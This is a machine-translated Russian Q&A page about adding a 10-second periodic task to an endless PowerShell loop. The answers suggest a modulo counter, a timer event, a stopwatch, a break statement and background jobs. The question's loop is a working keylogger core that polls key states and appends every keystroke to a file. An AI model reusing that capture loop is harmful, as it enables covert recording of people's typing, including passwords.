Как я могу добавить два истинных в то же время в то же время? - PullRequest
0 голосов
/ 03 января 2019

Я хочу продолжать вечно запускать добавляемую функцию к файлу, но я также хочу добавить вторую секунду, в то время как x запускает каждые 10 секунд, но как я могу справиться с этим?

Я пытался сделать while($true){while ($true) { write-host 'do stuff...' Start-Sleep -Seconds 60 } }, но мне не повезло.

while ($true) {
      Start-Sleep -Milliseconds 40

      # scan all ASCII codes above 8
      for ($ascii = 9; $ascii -le 254; $ascii++) {
        # get current key state
        $state = $API::GetAsyncKeyState($ascii)

        # is key pressed?
        if ($state -eq -32767) {
          $null = [console]::CapsLock

          # translate scan code to real code
          $virtualKey = $API::MapVirtualKey($ascii, 3)

          # get keyboard state for virtual keys
          $kbstate = New-Object Byte[] 256
          $checkkbstate = $API::GetKeyboardState($kbstate)

          # prepare a StringBuilder to receive input key
          $mychar = New-Object -TypeName System.Text.StringBuilder

          # translate virtual key
          $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)

          if ($success) 
          {
            # add key to logger file
            [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) 
          }
        }
      }
    }

Я ожидаю, что мой первый метод true при добавлении каждого журнала в файл навсегда, но я также хочу продолжать запускать каждые 10 секунд до секунды, пока true, но как я могу это сделать?

Ответы [ 3 ]

0 голосов
/ 03 января 2019

Используйте оператор модуля %, он вычислит напоминание после деления на число:

PS > 5 % 2
1

=> 5/2 = 4 остальных 1

PS > 250 % 250
0

Используйте $I++ В своей функции, чтобы отслеживать, как часто она выполнялась, и используйте if с % выполнять его каждые 10 секунд (10 секунд / 0,040 секунд = 250)

$I = 0
$I++
If (($I % 250) -eq 0) { do x }
0 голосов
/ 03 января 2019

Другое возможное решение, еще не упомянутое, состояло бы в том, чтобы сохранить ваш основной цикл и зарегистрировать событие таймера для 10-секундного «цикла».

$timer = new-object timers.timer 
$action = {
        # Edit me... put whatever you want to be done every 10 seconds here instead.
        write-host "Timer Elapse Event: $(get-date -Format ‘HH:mm:ss’)" -ForegroundColor Cyan
        } 

$timer.Interval = 10000 #10 seconds  
Register-ObjectEvent -InputObject $timer -EventName elapsed –SourceIdentifier '10secTimer' -Action $action 
$timer.start()


while ($true) {
    Write-Host 'Append to file...'
    Start-Sleep -Seconds 3
}


#to stop run 
$timer.stop() 
#cleanup 
Unregister-Event 10secTimer

Вы также можете использовать один цикл while и использовать объект Секундомер, чтобы проверить, когда прошло 10 секунд, и затем выполнить другое действие.

$StopWatch = New-Object -TypeName 'System.Diagnostics.Stopwatch'
$StopWatch.Start()

while ($true) {
    Write-Host 'Do stuff...' -ForegroundColor Cyan
    Write-Host "$($StopWatch.Elapsed.Seconds) seconds elapsed"
    Start-Sleep -Milliseconds 1000

    if ($StopWatch.Elapsed.Seconds -ge 10) {

        # Put everything for your 10 seconds here.
        Write-Host 'Do other stuff...' -ForegroundColor Green

        $StopWatch.Reset()
        $StopWatch.Start()
    }

}
$StopWatch.Stop()

Чтобы ответить на «два истинных в одно и то же время», если вы хотите использовать 2 цикла «циклически», как в вашем примере, вам нужно добавить оператор break во внутренний цикл, еслиВы когда-нибудь захотите вернуться во внешний цикл.

while ($true) {
    Write-Host 'Outer loop...'
    Start-Sleep -Seconds 3

    While ($true) {
        Write-Host 'Inner loop...'
        break; # If you don't break, you'll never exit the inner loop.
       }
}
0 голосов
/ 03 января 2019

Есть отдельные сценарии для обоих действий. Один с бесконечным временем цикла, другой с задержкой и вызовом их в качестве фоновых заданий.

$AppendJob = Start-Job -FilePath c:\Temp\FirstWhile.ps1 -Name AppenJob
$DelayJob = Start-Job -FilePath c:\Temp\SecondWhile.ps1 -Name DelayJob
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...